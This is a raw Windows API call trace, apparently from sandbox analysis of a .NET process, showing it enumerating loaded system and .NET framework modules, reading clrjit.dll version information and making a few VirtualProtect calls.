[0074.450] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74b70000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0074.450] CoTaskMemFree (pv=0xfb00a8) [0074.450] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.450] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74b70000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0074.450] CoTaskMemFree (pv=0xfb00a8) [0074.450] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ac0000, lpmodinfo=0x2f8ad24, cb=0xc | out: lpmodinfo=0x2f8ad24*(lpBaseOfDll=0x74ac0000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0074.450] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.450] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ac0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0074.451] CoTaskMemFree (pv=0xfb00a8) [0074.451] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.451] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ac0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0074.451] CoTaskMemFree (pv=0xfb00a8) [0074.451] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75bb0000, lpmodinfo=0x2f8ce30, cb=0xc | out: lpmodinfo=0x2f8ce30*(lpBaseOfDll=0x75bb0000, SizeOfImage=0x96000, EntryPoint=0x75be8f60)) returned 1 [0074.451] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.451] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75bb0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0074.451] CoTaskMemFree (pv=0xfb00a8) [0074.451] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.451] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75bb0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0074.451] CoTaskMemFree (pv=0xfb00a8) [0074.451] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742b0000, lpmodinfo=0x2f8ef44, cb=0xc | out: lpmodinfo=0x2f8ef44*(lpBaseOfDll=0x742b0000, SizeOfImage=0xf000, EntryPoint=0x742b2bd0)) returned 1 [0074.451] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.451] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742b0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="WTSAPI32.dll") returned 0xc [0074.452] CoTaskMemFree (pv=0xfb00a8) [0074.452] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.452] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742b0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\WTSAPI32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")) returned 0x20 [0074.452] CoTaskMemFree (pv=0xfb00a8) [0074.452] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77a30000, lpmodinfo=0x2f91058, cb=0xc | out: lpmodinfo=0x2f91058*(lpBaseOfDll=0x77a30000, SizeOfImage=0xbd000, EntryPoint=0x77a655e0)) returned 1 [0074.452] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.452] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77a30000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0074.452] CoTaskMemFree (pv=0xfb00a8) [0074.452] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.452] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77a30000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0074.453] CoTaskMemFree (pv=0xfb00a8) [0074.453] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74e20000, lpmodinfo=0x2f93164, cb=0xc | out: lpmodinfo=0x2f93164*(lpBaseOfDll=0x74e20000, SizeOfImage=0x25000, EntryPoint=0x74e247d0)) returned 1 [0074.453] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.453] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74e20000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0074.453] CoTaskMemFree (pv=0xfb00a8) [0074.453] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.453] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74e20000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0074.453] CoTaskMemFree (pv=0xfb00a8) [0074.453] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75ba0000, lpmodinfo=0x2f95268, cb=0xc | out: lpmodinfo=0x2f95268*(lpBaseOfDll=0x75ba0000, SizeOfImage=0xe000, EntryPoint=0x75ba3e30)) returned 1 [0074.453] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.453] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75ba0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0074.453] CoTaskMemFree (pv=0xfb00a8) [0074.453] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.453] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75ba0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0074.454] CoTaskMemFree (pv=0xfb00a8) [0074.454] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74550000, lpmodinfo=0x2f97394, cb=0xc | out: lpmodinfo=0x2f97394*(lpBaseOfDll=0x74550000, SizeOfImage=0x78000, EntryPoint=0x745885b0)) returned 1 [0074.454] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.454] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74550000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0074.454] CoTaskMemFree (pv=0xfb00a8) [0074.454] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.454] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74550000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0074.454] CoTaskMemFree (pv=0xfb00a8) [0074.454] GetModuleInformation (in: hProcess=0x2f4, hModule=0x744c0000, lpmodinfo=0x2f994a0, cb=0xc | out: lpmodinfo=0x2f994a0*(lpBaseOfDll=0x744c0000, SizeOfImage=0x55000, EntryPoint=0x744f0a30)) returned 1 [0074.454] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.454] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x744c0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="mscoree.dll") returned 0xb [0074.454] CoTaskMemFree (pv=0xfb00a8) [0074.454] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.454] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x744c0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0074.455] CoTaskMemFree (pv=0xfb00a8) [0074.455] GetModuleInformation (in: hProcess=0x2f4, hModule=0x761b0000, lpmodinfo=0x2f9b5ac, cb=0xc | out: lpmodinfo=0x2f9b5ac*(lpBaseOfDll=0x761b0000, SizeOfImage=0x77000, EntryPoint=0x761ce5b0)) returned 1 [0074.455] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.455] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x761b0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0074.455] CoTaskMemFree (pv=0xfb00a8) [0074.455] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.455] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x761b0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0074.455] CoTaskMemFree (pv=0xfb00a8) [0074.455] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74440000, lpmodinfo=0x2f9d6c0, cb=0xc | out: lpmodinfo=0x2f9d6c0*(lpBaseOfDll=0x74440000, SizeOfImage=0x7d000, EntryPoint=0x74443c80)) returned 1 [0074.455] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.455] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74440000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0074.455] CoTaskMemFree (pv=0xfb00a8) [0074.455] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.456] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74440000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0074.456] CoTaskMemFree (pv=0xfb00a8) [0074.456] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73bc0000, lpmodinfo=0x2f9f808, cb=0xc | out: lpmodinfo=0x2f9f808*(lpBaseOfDll=0x73bc0000, SizeOfImage=0x6e6000, EntryPoint=0x73bd83d0)) returned 1 [0074.456] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.456] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73bc0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0074.456] CoTaskMemFree (pv=0xfb00a8) [0074.456] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.456] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73bc0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0074.456] CoTaskMemFree (pv=0xfb00a8) [0074.456] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75f60000, lpmodinfo=0x2fa1938, cb=0xc | out: lpmodinfo=0x2fa1938*(lpBaseOfDll=0x75f60000, SizeOfImage=0x45000, EntryPoint=0x75f79260)) returned 1 [0074.457] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.457] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75f60000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0074.457] CoTaskMemFree (pv=0xfb00a8) [0074.457] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.457] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75f60000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0074.457] CoTaskMemFree (pv=0xfb00a8) [0074.457] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74340000, lpmodinfo=0x2fa3a44, cb=0xc | out: lpmodinfo=0x2fa3a44*(lpBaseOfDll=0x74340000, SizeOfImage=0xf5000, EntryPoint=0x74394180)) returned 1 [0074.457] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.457] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74340000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0074.457] CoTaskMemFree (pv=0xfb00a8) [0074.457] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.457] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74340000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0074.457] CoTaskMemFree (pv=0xfb00a8) [0074.457] GetModuleInformation (in: hProcess=0x2f4, hModule=0x72830000, lpmodinfo=0x2fa5b78, cb=0xc | out: lpmodinfo=0x2fa5b78*(lpBaseOfDll=0x72830000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0074.458] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.458] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x72830000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0074.458] CoTaskMemFree (pv=0xfb00a8) [0074.458] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.458] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x72830000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0074.458] CoTaskMemFree (pv=0xfb00a8) [0074.458] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74320000, lpmodinfo=0x2fa7d20, cb=0xc | out: lpmodinfo=0x2fa7d20*(lpBaseOfDll=0x74320000, SizeOfImage=0x13000, EntryPoint=0x74326c40)) returned 1 [0074.458] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.458] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74320000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0074.458] CoTaskMemFree (pv=0xfb00a8) [0074.458] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.458] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74320000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0074.458] CoTaskMemFree (pv=0xfb00a8) [0074.459] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742f0000, lpmodinfo=0x2fa9e2c, cb=0xc | out: lpmodinfo=0x2fa9e2c*(lpBaseOfDll=0x742f0000, SizeOfImage=0x2f000, EntryPoint=0x742fc000)) returned 1 [0074.459] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.459] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742f0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0074.459] CoTaskMemFree (pv=0xfb00a8) [0074.459] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.459] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742f0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0074.459] CoTaskMemFree (pv=0xfb00a8) [0074.459] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742d0000, lpmodinfo=0x2fac044, cb=0xc | out: lpmodinfo=0x2fac044*(lpBaseOfDll=0x742d0000, SizeOfImage=0x18000, EntryPoint=0x742d8f30)) returned 1 [0074.459] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.459] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742d0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0074.459] CoTaskMemFree (pv=0xfb00a8) [0074.459] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.459] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742d0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0074.460] CoTaskMemFree (pv=0xfb00a8) [0074.460] GetModuleInformation (in: hProcess=0x2f4, hModule=0x727b0000, lpmodinfo=0x2fae150, cb=0xc | out: lpmodinfo=0x2fae150*(lpBaseOfDll=0x727b0000, SizeOfImage=0x80000, EntryPoint=0x727b1180)) returned 1 [0074.460] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.460] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x727b0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0074.460] CoTaskMemFree (pv=0xfb00a8) [0074.460] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.460] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x727b0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0074.460] CoTaskMemFree (pv=0xfb00a8) [0074.460] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71dd0000, lpmodinfo=0x2fb0290, cb=0xc | out: lpmodinfo=0x2fb0290*(lpBaseOfDll=0x71dd0000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0074.460] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.460] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71dd0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0074.460] CoTaskMemFree (pv=0xfb00a8) [0074.460] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.460] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71dd0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0074.461] CoTaskMemFree (pv=0xfb00a8) [0074.461] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71c30000, lpmodinfo=0x2fb242c, cb=0xc | out: lpmodinfo=0x2fb242c*(lpBaseOfDll=0x71c30000, SizeOfImage=0x194000, EntryPoint=0x0)) returned 1 [0074.461] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.461] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71c30000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0074.461] CoTaskMemFree (pv=0xfb00a8) [0074.461] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.461] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71c30000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\5b307e2b9719b21749a8c73127ab5f45\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\5b307e2b9719b21749a8c73127ab5f45\\system.drawing.ni.dll")) returned 0x74 [0074.461] CoTaskMemFree (pv=0xfb00a8) [0074.461] GetModuleInformation (in: hProcess=0x2f4, hModule=0x70f30000, lpmodinfo=0x2fb45f8, cb=0xc | out: lpmodinfo=0x2fb45f8*(lpBaseOfDll=0x70f30000, SizeOfImage=0xcf2000, EntryPoint=0x0)) returned 1 [0074.462] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.462] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x70f30000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0074.462] CoTaskMemFree (pv=0xfb00a8) [0074.462] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.462] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x70f30000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\02d3b6022cc1ee466eb660dedcff59aa\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\02d3b6022cc1ee466eb660dedcff59aa\\system.windows.forms.ni.dll")) returned 0x80 [0074.462] CoTaskMemFree (pv=0xfb00a8) [0074.462] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76180000, lpmodinfo=0x2fb67e8, cb=0xc | out: lpmodinfo=0x2fb67e8*(lpBaseOfDll=0x76180000, SizeOfImage=0x6000, EntryPoint=0x76181460)) returned 1 [0074.462] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.462] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76180000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0074.462] CoTaskMemFree (pv=0xfb00a8) [0074.462] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.462] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76180000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0074.462] CoTaskMemFree (pv=0xfb00a8) [0074.462] CloseHandle (hObject=0x2f4) returned 1 [0074.560] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x19cae8 | out: phkResult=0x19cae8*=0x0) returned 0x2 [0074.560] RegCloseKey (hKey=0x80000002) returned 0x0 [0074.562] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", nBufferLength=0x105, lpBuffer=0x19cd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpFilePart=0x0) returned 0x38 [0074.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19d218) returned 1 [0074.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), fInfoLevelId=0x0, lpFileInformation=0x19d294 | out: lpFileInformation=0x19d294*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795c1cb6, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x795c1cb6, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x795c1cb6, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x7faa0)) returned 1 [0074.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19d214) returned 1 [0074.564] GetCurrentProcess () returned 0xffffffff [0074.565] GetCurrentProcess () returned 0xffffffff [0074.565] GetCurrentProcess () returned 0xffffffff [0074.566] GetCurrentProcess () returned 0xffffffff [0074.568] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpdwHandle=0x19d308 | out: lpdwHandle=0x19d308) returned 0x814 [0074.569] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", dwHandle=0x0, dwLen=0x814, lpData=0x2fb9fe8 | out: lpData=0x2fb9fe8) returned 1 [0074.569] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19d2dc, puLen=0x19d2d8 | out: lplpBuffer=0x19d2dc*=0x2fba3ec, puLen=0x19d2d8) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba0a0, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba0f4, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba170, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba1d8, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba214, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba29c, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba2d4, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba32c, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba35c, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x0, puLen=0x19d258) returned 0 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x2fba398, puLen=0x19d258) returned 1 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x19d25c, puLen=0x19d258 | out: lplpBuffer=0x19d25c*=0x0, puLen=0x19d258) returned 0 [0074.571] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19d250, puLen=0x19d24c | out: lplpBuffer=0x19d250*=0x2fba3ec, puLen=0x19d24c) returned 1 [0074.572] VerLanguageNameW (in: wLang=0x409, szLang=0x19cfe0, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0074.632] VerQueryValueW (in: pBlock=0x2fb9fe8, lpSubBlock="\\", lplpBuffer=0x19d260, puLen=0x19d25c | out: lplpBuffer=0x19d260*=0x2fba010, puLen=0x19d25c) returned 1 [0074.710] VirtualProtect (in: lpAddress=0x2ed0468, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.710] GetCurrentProcess () returned 0xffffffff [0074.713] VirtualProtect (in: lpAddress=0x2ed0468, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.713] GetCurrentProcess () returned 0xffffffff [0074.714] VirtualProtect (in: lpAddress=0x2ed0478, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.714] 